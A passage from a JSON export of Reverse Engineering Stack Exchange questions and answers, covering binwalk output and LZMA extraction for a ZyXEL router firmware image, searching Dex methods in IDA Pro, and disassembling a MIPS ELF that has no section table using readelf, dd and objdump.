\"Copyright','width=430,height=310')\" onMouseOut=\"MM_swapImgRestore()\" onMouseOver=\"MM_swapImage('Image4','','images/i_about_on.gi\"\n4223380       0x407194        Copyright string: \"Copyright 2005 by ZyXEL Communications Corp.\"\n4223432       0x4071C8        Copyright string: \"Copyright 2005 par ZyXEL Communications Corp.\"\n4223484       0x4071FC        Copyright string: \"Copyright 2005 por ZyXEL Communications Corp.\"\n4223536       0x407230        Copyright string: \"Copyright 2005 di ZyXEL Communications Corp.\"\n4345709       0x424F6D        HTML document header\n4346435       0x425243        XML document, version: \"1.0\"\n4346551       0x4252B7        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4353349       0x426D45        HTML document header\n4354061       0x42700D        XML document, version: \"1.0\"\n4354179       0x427083        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4356825       0x427AD9        HTML document header\n4357526       0x427D96        XML document, version: \"1.0\"\n4357643       0x427E0B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4359497       0x428549        HTML document header\n4360206       0x42880E        XML document, version: \"1.0\"\n4360323       0x428883        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4365849       0x429E19        HTML document header\n4366552       0x42A0D8        XML document, version: \"1.0\"\n4366667       0x42A14B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4411292       0x434F9C        XML document, version: \"1.0\"\n4420321       0x4372E1        HTML document header\n4421032       0x4375A8        XML document, version: \"1.0\"\n4421147       0x43761B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4423521       0x437F61        HTML document header\n4424231       0x438227        XML document, version: \"1.0\"\n4424347       0x43829B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4471437       0x443A8D        HTML document header\n4472110       0x443D2E        XML document, version: \"1.0\"\n4472224       0x443DA0        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4476657       0x444EF1        HTML document header\n4477328       0x445190        XML document, version: \"1.0\"\n4477442       0x445202        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4480441       0x445DB9        HTML document header\n4481123       0x446063        XML document, version: \"1.0\"\n4481237       0x4460D5        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4482881       0x446741        HTML document header\n4483568       0x4469F0        XML document, version: \"1.0\"\n4483682       0x446A62        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4488597       0x447D95        HTML document header\n4489274       0x44803A        XML document, version: \"1.0\"\n4489388       0x4480AC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4494041       0x4492D9        HTML document header\n4494721       0x449581        XML document, version: \"1.0\"\n4494835       0x4495F3        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4541701       0x454D05        HTML document header\n4542383       0x454FAF        XML document, version: \"1.0\"\n4542497       0x455021        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4544889       0x455979        HTML document header\n4545511       0x455BE7        XML document, version: \"1.0\"\n4545625       0x455C59        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4546029       0x455DED        HTML document header\n4546715       0x45609B        XML document, version: \"1.0\"\n4546829       0x45610D        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4548489       0x456789        HTML document header\n4549184       0x456A40        XML document, version: \"1.0\"\n4549298       0x456AB2        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4555897       0x458479        HTML document header\n4556588       0x45872C        XML document, version: \"1.0\"\n4556702       0x45879E        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4626461       0x46981D        HTML document header\n4627117       0x469AAD        XML document, version: \"1.0\"\n4627231       0x469B1F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4631797       0x46ACF5        HTML document header\n4632448       0x46AF80        XML document, version: \"1.0\"\n4632562       0x46AFF2        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4645229       0x46E16D        HTML document header\n4645891       0x46E403        XML document, version: \"1.0\"\n4646005       0x46E475        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4647909       0x46EBE5        HTML document header\n4648567       0x46EE77        XML document, version: \"1.0\"\n4648681       0x46EEE9        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4651789       0x46FB0D        HTML document header\n4652454       0x46FDA6        XML document, version: \"1.0\"\n4652568       0x46FE18        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4656709       0x470E45        HTML document header\n4657372       0x4710DC        XML document, version: \"1.0\"\n4657486       0x47114E        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4663141       0x472765        HTML document header\n4663811       0x472A03        XML document, version: \"1.0\"\n4663925       0x472A75        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4665425       0x473051        HTML document header\n4666090       0x4732EA        XML document, version: \"1.0\"\n4666204       0x47335C        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4667989       0x473A55        HTML document header\n4668659       0x473CF3        XML document, version: \"1.0\"\n4668773       0x473D65        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4671789       0x47492D        HTML document header\n4672445       0x474BBD        XML document, version: \"1.0\"\n4672559       0x474C2F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4686680       0x478358        Base64 standard index table\n4696558       0x47A9EE        GIF image data, version \"89a\", 2 x 2\n4696606       0x47AA1E        GIF image data, version \"89a\", 4 x 7\n4696702       0x47AA7E        GIF image data, version \"89a\", 1 x 34\n4696798       0x47AADE        GIF image data, version \"89a\", 1 x 900\n4698178       0x47B042        GIF image data, version \"89a\", 1 x 3\n4698242       0x47B082        GIF image data, version \"89a\", 3 x 1\n4698306       0x47B0C2        GIF image data, version \"89a\", 3 x 1\n4698370       0x47B102        GIF image data, version \"89a\", 1 x 3\n4698434       0x47B142        GIF image data, version \"89a\", 14 x 14\n4698522       0x47B19A        GIF image data, version \"89a\", 12 x 12\n4699426       0x47B522        GIF image data, version \"89a\", 1 x 1\n4699478       0x47B556        GIF image data, version \"89a\", 13 x 13\n4699602       0x47B5D2        GIF image data, version \"89a\", 13 x 13\n4699786       0x47B68A        GIF image data, version \"89a\", 16 x 22\n4700118       0x47B7D6        GIF image data, version \"89a\", 16 x 22\n4700454       0x47B926        GIF image data, version \"89a\", 16 x 22\n4700786       0x47BA72        GIF image data, version \"89a\", 16 x 22\n4701122       0x47BBC2        GIF image data, version \"89a\", 16 x 22\n4701206       0x47BC16        GIF image data, version \"89a\", 1 x 19\n4701306       0x47BC7A        GIF image data, version \"89a\", 18 x 17\n4701426       0x47BCF2        GIF image data, version \"89a\", 22 x 22\n4701902       0x47BECE        GIF image data, version \"89a\", 22 x 22\n4702378       0x47C0AA        GIF image data, version \"89a\", 11 x 17\n4702694       0x47C1E6        GIF image data, version \"89a\", 22 x 22\n4703190       0x47C3D6        GIF image data, version \"89a\", 22 x 22\n4703682       0x47C5C2        GIF image data, version \"89a\", 17 x 16\n4703818       0x47C64A        GIF image data, version \"89a\", 22 x 22\n4705090       0x47CB42        GIF image data, version \"89a\", 22 x 22\n4705614       0x47CD4E        GIF image data, version \"89a\", 18 x 18\n4705698       0x47CDA2        GIF image data, version \"89a\", 18 x 18\n4705774       0x47CDEE        GIF image data, version \"89a\", 169 x 50\n4708034       0x47D6C2        GIF image data, version \"89a\", 1 x 1000\n4708690       0x47D952        GIF image data, version \"89a\", 155 x 55\n4711634       0x47E4D2        GIF image data, version \"89a\", 155 x 55\n4714562       0x47F042        GIF image data, version \"89a\", 155 x 1\n4714670       0x47F0AE        GIF image data, version \"89a\", 155 x 59\n4716402       0x47F772        GIF image data, version \"89a\", 1 x 13\n4716498       0x47F7D2        GIF image data, version \"89a\", 1 x 13\n4716594       0x47F832        GIF image data, version \"89a\", 1 x 22\n4716746       0x47F8CA        GIF image data, version \"89a\", 15 x 21\n4717370       0x47FB3A        GIF image data, version \"89a\", 1 x 21\n4717814       0x47FCF6        GIF image data, version \"89a\", 15 x 21\n4718438       0x47FF66        GIF image data, version \"89a\", 14 x 24\n4718842       0x4800FA        GIF image data, version \"89a\", 1 x 24\n4718994       0x480192        GIF image data, version \"89a\", 14 x 24\n4719402       0x48032A        GIF image data, version \"89a\", 14 x 24\n4719562       0x4803CA        GIF image data, version \"89a\", 1 x 24\n4719658       0x48042A        GIF image data, version \"89a\", 14 x 24\n4719818       0x4804CA        GIF image data, version \"89a\", 1 x 55\n4720098       0x4805E2        GIF image data, version \"89a\", 1 x 36\n4720254       0x48067E        GIF image data, version \"89a\", 16 x 22\n4720362       0x4806EA        GIF image data, version \"89a\", 34 x 358\n4725174       0x4819B6        GIF image data, version \"89a\", 1 x 45\n4726030       0x481D0E        GIF image data, version \"89a\", 13 x 13\n4726150       0x481D86        GIF image data, version \"89a\", 13 x 13\n4726338       0x481E42        GIF image data, version \"89a\", 3 x 20\n4726390       0x481E76        GIF image data, version \"89a\", 1 x 600\n4727550       0x4822FE        GIF image data, version \"89a\", 1 x 30\n4728394       0x48264A        GIF image data, version \"89a\", 10 x 30\n4729062       0x4828E6        GIF image data, version \"89a\", 10 x 30\n4730138       0x482D1A        GIF image data, version \"89a\", 153 x 285\n4735458       0x4841E2        GIF image data, version \"89a\", 1 x 20\n4735558       0x484246        GIF image data, version \"89a\", 16 x 14\n4735874       0x484382        GIF image data, version \"89a\", 16 x 18\n4736226       0x4844E2        GIF image data, version \"89a\", 1 x 20\n4736326       0x484546        GIF image data, version \"89a\", 41 x 36\n4736846       0x48474E        GIF image data, version \"89a\", 19 x 14\n4737406       0x48497E        GIF image data, version \"89a\", 17 x 14\n4737738       0x484ACA        GIF image data, version \"89a\", 19 x 14\n4738066       0x484C12        GIF image data, version \"89a\", 17 x 14\n4738274       0x484CE2        GIF image data, version \"89a\", 19 x 14\n4738374       0x484D46        GIF image data, version \"89a\", 61 x 47\n4741454       0x48594E        GIF image data, version \"89a\", 61 x 47\n4742834       0x485EB2        GIF image data, version \"89a\", 61 x 47\n4744382       0x4864BE        GIF image data, version \"89a\", 61 x 47\n4747466       0x4870CA        GIF image data, version \"89a\", 20 x 14\n4747606       0x487156        GIF image data, version \"89a\", 20 x 14\n4747942       0x4872A6        GIF image data, version \"89a\", 23 x 21\n4749130       0x48774A        GIF image data, version \"89a\", 19 x 14\n4749486       0x4878AE        GIF image data, version \"89a\", 26 x 10\n4749578       0x48790A        GIF image data, version \"89a\", 26 x 10\n4749670       0x487966        GIF image data, version \"89a\", 28 x 16\n4750538       0x487CCA        GIF image data, version \"89a\", 28 x 16\n4750610       0x487D12        GIF image data, version \"89a\", 28 x 16\n4751482       0x48807A        GIF image data, version \"89a\", 19 x 14\n4751838       0x4881DE        GIF image data, version \"89a\", 2 x 435\n4752086       0x4882D6        GIF image data, version \"89a\", 61 x 47\n4753750       0x488956        GIF image data, version \"89a\", 61 x 47\n4756942       0x4895CE        GIF image data, version \"89a\", 48 x 67\n4773114       0x48D4FA        GIF image data, version \"89a\", 50 x 37\n4776430       0x48E1EE        GIF image data, version \"89a\", 53 x 19\n4776974       0x48E40E        GIF image data, version \"89a\", 53 x 19\n4777402       0x48E5BA        GIF image data, version \"89a\", 48 x 67\n4827065       0x49A7B9        HTML document header\n4827742       0x49AA5E        XML document, version: \"1.0\"\n4827856       0x49AAD0        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4830673       0x49B5D1        HTML document header\n4831356       0x49B87C        XML document, version: \"1.0\"\n4831470       0x49B8EE        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4843989       0x49E9D5        HTML document header\n4844681       0x49EC89        XML document, version: \"1.0\"\n4844799       0x49ECFF        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4877565       0x4A6CFD        HTML document header\n4878242       0x4A6FA2        XML document, version: \"1.0\"\n4878356       0x4A7014        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4879897       0x4A7619        HTML document header\n4880582       0x4A78C6        XML document, version: \"1.0\"\n4880696       0x4A7938        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4884821       0x4A8955        HTML document header\n4885514       0x4A8C0A        XML document, version: \"1.0\"\n4885628       0x4A8C7C        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4888997       0x4A99A5        HTML document header\n4889694       0x4A9C5E        XML document, version: \"1.0\"\n4889811       0x4A9CD3        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4892621       0x4AA7CD        HTML document header\n4893306       0x4AAA7A        XML document, version: \"1.0\"\n4893420       0x4AAAEC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4935349       0x4B4EB5        HTML document header\n4936024       0x4B5158        XML document, version: \"1.0\"\n4936138       0x4B51CA        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4937833       0x4B5869        HTML document header\n4938514       0x4B5B12        XML document, version: \"1.0\"\n4938628       0x4B5B84        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4940349       0x4B623D        HTML document header\n4941028       0x4B64E4        XML document, version: \"1.0\"\n4941142       0x4B6556        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4942829       0x4B6BED        HTML document header\n4943498       0x4B6E8A        XML document, version: \"1.0\"\n4943612       0x4B6EFC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4946177       0x4B7901        HTML document header\n4946852       0x4B7BA4        XML document, version: \"1.0\"\n4946966       0x4B7C16        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4950533       0x4B8A05        HTML document header\n4951239       0x4B8CC7        XML document, version: \"1.0\"\n4951355       0x4B8D3B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4978281       0x4BF669        HTML document header\n4978966       0x4BF916        XML document, version: \"1.0\"\n4979080       0x4BF988        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n4981993       0x4C04E9        HTML document header\n4982674       0x4C0792        XML document, version: \"1.0\"\n4982788       0x4C0804        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n5031144       0x4CC4E8        Copyright string: \"Copyright (c) BRECIS Communications\"\n5439908       0x5301A4        Base64 standard index table\n5471481       0x537CF9        Unix path: /config_action/flow/classifier/statistics/web\n5477216       0x539360        Unix path: /config/config-action/flow/classifier/statistics/web/help\n5486005       0x53B5B5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_cor.c,v 1.7 2005/09/28 18:59:56 bostromc Exp $\n5486917       0x53B945        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_dcd.c,v 1.4 2005/04/25 23:13:33 sillettr Exp $\n5488929       0x53C121        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r21_cor.c,v 1.6 2005/04/25 23:13:33 sillettr Exp $\n5489073       0x53C1B1        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r2x_cor.c,v 1.7 2005/04/25 23:13:34 sillettr Exp $\n5490821       0x53C885        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r2x_scm.c,v 1.2 2005/04/25 23:13:34 sillettr Exp $\n5491157       0x53C9D5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/rcm_rot.c,v 1.2 2003/06/18 00:58:25 cbostrom Exp $\n5494509       0x53D6ED        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/t21_cor.c,v 1.3 2005/04/25 23:13:34 sillettr Exp $\n5497205       0x53E175        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/mdm_fltr.c,v 1.3 2005/04/25 23:13:33 sillettr Exp $\n5499045       0x53E8A5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_baud.c,v 1.5 2005/09/28 18:59:56 bostromc Exp $\n5541456       0x548E50        HTML document footer\n5541648       0x548F10        HTML document footer\n5549106       0x54AC32        ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 30581, uncompressed size: 26729, data offset from start of block: 16\n5550136       0x54B038        HTML document header\n5550144       0x54B040        HTML document footer\n5582796       0x552FCC        HTML document footer\n5586092       0x553CAC        Copyright string: \"Copyright (c) 1996-2000 Express Logic Inc. * ThreadX R3900/Green Hills Version G3.0f.3.0b *\"\n5586653       0x553EDD        MySQL MISAM index file Version 6\n5586672       0x553EF0        MySQL ISAM compressed data file Version 6\n</code></pre>\n\n<p><a href=\"https://www.dropbox.com/s/9665bvpff48sypx/P-2302R-P1C_3.60%28AUG.0%29C0.zip?dl=0\" rel=\"nofollow noreferrer\">Link</a></p>\n",
        "Title": "Binwalk could not extract the full content",
        "Tags": "|binary-analysis|firmware|unpacking|",
        "Answer": "<p>If the output of the Binwalk is not explicit enough, it is worth to see the content of the binary with a hex editor. </p>\n\n<p>So, if you open the binary file, you will see a lot of zeros and identical bytes at the beginning, which is a clear indication, that at least the first part of the file is neither encrypted nor compressed. If you don't know what these bytes means, just go further in the file and you may find strings, which can clear the situation. In this case, the strings state that the first part of the binary is a bootloader, specifically the MultiBoot Client version 2.3.</p>\n\n<p><a href=\"https://i.stack.imgur.com/ntZ2m.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ntZ2m.png\" alt=\"Bootloader strings\"></a></p>\n\n<p>You can find also, that the bootloader uses LZMA compression, such as stated by the Binwalk. Thus, you have a bootloader and two compressed image. By comparing the start of these parts, one can observe that each one contains the <code>SIG</code> string, the size of the image, name of the image and a CRC value. The compressed image started at the <code>0x30</code> offset with a typical LZMA header.</p>\n\n<p>The decompressed parts have low entropy and contains strings, which means that the extraction was successful. The router OS is an RTOS (according to the strings it is ZynOS) and not Linux, so you won't find any filesystem in the firmware image.</p>\n"
    },
    {
        "Id": "17189",
        "CreationDate": "2018-01-13T23:11:15.013",
        "Body": "<p>Let's just assume that our classes.dex file has a class:</p>\n\n<pre><code>com.example.MyClass\n</code></pre>\n\n<p>in which there's a method \"meth\":</p>\n\n<pre><code>public final com.example.MyClass.meth(java.lang.String p0)\n</code></pre>\n\n<p>how/where can I search the code of the method \"meth\" with the string \"com.example.MyClass.meth\"?</p>\n\n<p>Because in the Local Types view I can only find the class but I can't reach the code and in the Names/Functions windows I can only search the method name (think what you can get with an obfuscated code) prefixed by the class name so there are a lot of duplicates.</p>\n\n<p>FYI:\nIDA pro (I'm using the version 7) supports officially <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf\" rel=\"nofollow noreferrer\">Dalvik bytecode disassembling and debugging</a>.</p>\n",
        "Title": "IDA Pro Search classes within a Dex file inclusive of package name",
        "Tags": "|ida|android|",
        "Answer": "<p>What does work is a text search for a string like <code>com.foo.bar.Method</code> - press Alt+T in the disassembly, mark \"Match case\", \"Identifier\". This should help find you the actual method body, at least it's what I have been using.</p>\n\n<p>I don't think it's ideal but also I don't know of a better way either. For bigger APKs this can be quite slow but at least it solves the problem.</p>\n"
    },
    {
        "Id": "17196",
        "CreationDate": "2018-01-15T03:27:57.943",
        "Body": "<p>I have a MIPS .so file that I'm trying to reverse.  Binary Ninja (too cheap for IDA) finds no symbols, and neither does <code>objdump -T</code>, instead giving \"Invalid Operation\":</p>\n\n<pre><code>% mips-linux-gnu-objdump -x libinet.so\n\nlibinet.so:     file format elf32-tradbigmips\nlibinet.so\narchitecture: mips:isa32r2, flags 0x00000140:\nDYNAMIC, D_PAGED\nstart address 0x000040f0\n\nProgram Header:\n0x70000000 off    0x000000f4 vaddr 0x000000f4 paddr 0x000000f4 align 2**2\n         filesz 0x00000018 memsz 0x00000018 flags r--\n    LOAD off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**16\n         filesz 0x00013454 memsz 0x00013454 flags r-x\n    LOAD off    0x00014000 vaddr 0x00024000 paddr 0x00024000 align 2**16\n         filesz 0x000006c0 memsz 0x00000d6c flags rw-\n DYNAMIC off    0x0000010c vaddr 0x0000010c paddr 0x0000010c align 2**2\n         filesz 0x00000108 memsz 0x00000108 flags rwx\n   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4\n         filesz 0x00000000 memsz 0x00000000 flags rw-\n    NULL off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2\n         filesz 0x00000000 memsz 0x00000000 flags ---\nprivate flags = 74001007: [abi=O32] [mips32r2] [mips16] [not 32bitmode] [noreorder] [PIC] [CPIC]\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\nSYMBOL TABLE:\nno symbols\n\n\n% mips-linux-gnu-objdump -T libinet.so\nmips-linux-gnu-objdump: libinet.so: Invalid operation\nlibinet.so:     file format elf32-tradbigmips\n</code></pre>\n\n<p>Anyone know why this would happen?  Are there any better tools to explore the ELF metadata to see if there's something unusual about this shared object?</p>\n\n<p><strong>Edit</strong> Some more results:</p>\n\n<pre><code>% file libinet.so \nlibinet.so: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size\n% readelf -SW ./libinet.so \n\nThere are no sections in this file.\n</code></pre>\n",
        "Title": "objdump -T gives Invalid Operation on MIPS .so",
        "Tags": "|file-format|elf|",
        "Answer": "<p>Alas, BFD-based tools like <code>gdb</code> or <code>objdump</code> <a href=\"https://github.com/BR903/ELFkickers/tree/master/sstrip\" rel=\"nofollow noreferrer\">can't handle ELF files without a section table</a>. However, Linux and other OSes using ELFs do not actually require a file to have section table to be executable, only the segment table (Program headers) are enough. However, <code>readelf</code> does not use BFD and so can display ELF details even without section table. For example:</p>\n\n<pre><code>&gt;readelf -SW sample.elf\nThere are no sections in this file.\n</code></pre>\n\n<p>but:</p>\n\n<pre><code>&gt;readelf -ed sample.elf\nELF Header:\n  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, big endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x405110\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          0 (bytes into file)\n  Flags:                             0x50001007, noreorder, pic, cpic, o32, mips32\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         7\n  Size of section headers:           0 (bytes)\n  Number of section headers:         0\n  Section header string table index: 0\n\nThere are no sections in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00400034 0x00400034 0x000e0 0x000e0 R E 0x4\n  INTERP         0x000114 0x00400114 0x00400114 0x00014 0x00014 R   0x1\n      [Requesting program interpreter: /lib/ld-uClibc.so.0]\n  REGINFO        0x000128 0x00400128 0x00400128 0x00018 0x00018 R   0x4\n  LOAD           0x000000 0x00400000 0x00400000 0x5d86c 0x5d86c R E 0x1000\n  LOAD           0x05e000 0x10000000 0x10000000 0x01f64 0x055c4 RW  0x1000\n  DYNAMIC        0x000140 0x00400140 0x00400140 0x04f36 0x04f36 RWE 0x4\n  GNU_EH_FRAME   0x05d850 0x0045d850 0x0045d850 0x0001c 0x0001c R   0x4\n\nDynamic section at offset 0x140 contains 26 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [libcrypt.so.0]\n 0x00000001 (NEEDED)                     Shared library: [libm.so.0]\n 0x00000001 (NEEDED)                     Shared library: [libnbu.so]\n 0x00000001 (NEEDED)                     Shared library: [libnbd.so]\n 0x00000001 (NEEDED)                     Shared library: [libc.so.0]\n 0x0000000c (INIT)                       0x405088\n 0x0000000d (FINI)                       0x4557b0\n 0x00000004 (HASH)                       0x400238\n 0x00000005 (STRTAB)                     0x403868\n 0x00000006 (SYMTAB)                     0x401398\n 0x0000000a (STRSZ)                      6158 (bytes)\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x70000016 (MIPS_RLD_MAP)               0x10001630\n 0x00000015 (DEBUG)                      0x0\n 0x00000003 (PLTGOT)                     0x10001640\n 0x00000011 (REL)                        0x405078\n 0x00000012 (RELSZ)                      16 (bytes)\n 0x00000013 (RELENT)                     8 (bytes)\n 0x70000001 (MIPS_RLD_VERSION)           1\n 0x70000005 (MIPS_FLAGS)                 NOTPOT\n 0x70000006 (MIPS_BASE_ADDRESS)          0x400000\n 0x7000000a (MIPS_LOCAL_GOTNO)           13\n 0x70000011 (MIPS_SYMTABNO)              589\n 0x70000012 (MIPS_UNREFEXTNO)            35\n 0x70000013 (MIPS_GOTSYM)                0x11\n 0x00000000 (NULL)                       0x0\n</code></pre>\n\n<p>As you can see, it does have a proper dynamic table with <code>DT_SYMTAB</code> entry necessary to resolve symbols. However, <code>readelf</code> lacks a disassembler so we will have to use <code>objdump</code> after all, just without relying on the section table. First, let's extract the first <code>LOAD</code> segment (it has \"(R)ead (E)execute\" flags so likely to contain code) into a separate file:</p>\n\n<blockquote>\n  <p>dd if=sample.elf bs=1 skip=0 count=383084 of=text.bin</p>\n</blockquote>\n\n<p>(unfortunately <code>dd</code> only accepts decimal values). </p>\n\n<p>P.S. In fact, since the segment starts at 0, you could have skipped this step and disassembled the input file directly. However, this is not always the case. so may be useful for other files.</p>\n\n<p>Now we can disassemble it with <code>objdump</code> as raw binary:</p>\n\n<pre><code>mips-linux-gnu-objdump -b binary -D -m mips:isa32r2 --adjust-vma=0x00400000 --start-address=0x405110  -EB text.bin \n</code></pre>\n\n<p>Breakdown of the options:</p>\n\n<ul>\n<li><code>b binary</code>: treat input as raw binary</li>\n<li><code>-D</code>: disassemble everything as code (necessary for raw binaries since they don't have sections or other metadata)</li>\n<li><code>-m mips:isa32r2</code> : treat code as MIPS32r2 instructions</li>\n<li><code>--adjust-vma=0x00400000</code> : assume that binary is loaded at <code>0x00400000</code> (<code>VirtAddr</code> column from the <code>readelf</code> program headers dump).</li>\n<li><code>--start-address=0x405110</code>:  start disassembly at 0x405110 (\"Entry point address\" from the header dump)</li>\n<li><code>-EB</code>: instructions are big-endian (as hinted by <code>readelf</code>).</li>\n</ul>\n\n<p>The result looks like:</p>\n\n<pre><code>Disassembly of section .data:\n\n00405110 &lt;.data+0x5110&gt;:\n  405110:       04100001        bltzal  zero,0x405118\n  405114:       00000000        nop\n  405118:       3c1c0fc0        lui     gp,0xfc0\n  40511c:       279c4518        addiu   gp,gp,17688\n  405120:       039fe021        addu    gp,gp,ra\n  405124:       0000f821        move    ra,zero\n  405128:       8fa40000        lw      a0,0(sp)\n  40512c:       27a50004        addiu   a1,sp,4\n  405130:       24860001        addiu   a2,a0,1\n  405134:       00063080        sll     a2,a2,0x2\n  405138:       00c53020        add     a2,a2,a1\n  40513c:       8f87861c        lw      a3,-31204(gp)\n  405140:       27bdffe8        addiu   sp,sp,-24\n  405144:       8f82829c        lw      v0,-32100(gp)\n  405148:       00000000        nop\n  40514c:       afa20010        sw      v0,16(sp)\n  405150:       8f998114        lw      t9,-32492(gp)\n  405154:       00000000        nop\n  405158:       0320f809        jalr    t9\n  40515c:       00000000        nop\n  405160:       27bd0018        addiu   sp,sp,24\n  405164:       1000ffff        b       0x405164\n  405168:       00000000        nop\n</code></pre>\n\n<p>Don't pay attention to <code>.data</code>, that's just the default name when <code>objdump</code>  has no other information.</p>\n\n<p>Making sense of the disassembly is left as an exercise to the reader :)</p>\n\n<hr>\n\n<p><strong>EDIT</strong></p>\n\n<p>I forgot <code>readelf</code> options. In fact, the manpage mentions:</p>\n\n<hr>\n\n<p><strong>-D</strong><br>\n<strong>--use-dynamic</strong></p>\n\n<p>When displaying symbols, this option makes readelf use the symbol table in the file's dynamic section, rather than the one in the symbols section. </p>\n\n<hr>\n\n<p>And indeed, <code>readelf -Ds sample.elf</code> shows nice output:</p>\n\n<pre><code>Symbol table for image:\n  Num Buc:    Value  Size   Type   Bind Vis      Ndx Name\n   58   0: 00455690     0 FUNC    GLOBAL DEFAULT UND execvp\n  384   1: 00454c90     0 FUNC    GLOBAL DEFAULT UND getpgrp\n   68   3: 00455640     0 FUNC    GLOBAL DEFAULT UND open\n  123   3: 004554a0     0 FUNC    GLOBAL DEFAULT UND socketpair\n  513   3: 0044a298     0 FUNC    GLOBAL DEFAULT bad xdr_dirpath\n  120   4: 004554b0     0 FUNC    GLOBAL DEFAULT UND strftime\n  373   4: 00454ce0     0 FUNC    GLOBAL DEFAULT UND strrchr\n  572   4: 00454730     0 FUNC    GLOBAL DEFAULT UND waitpid\n</code></pre>\n"
    },
    {
        "Id": "17211",
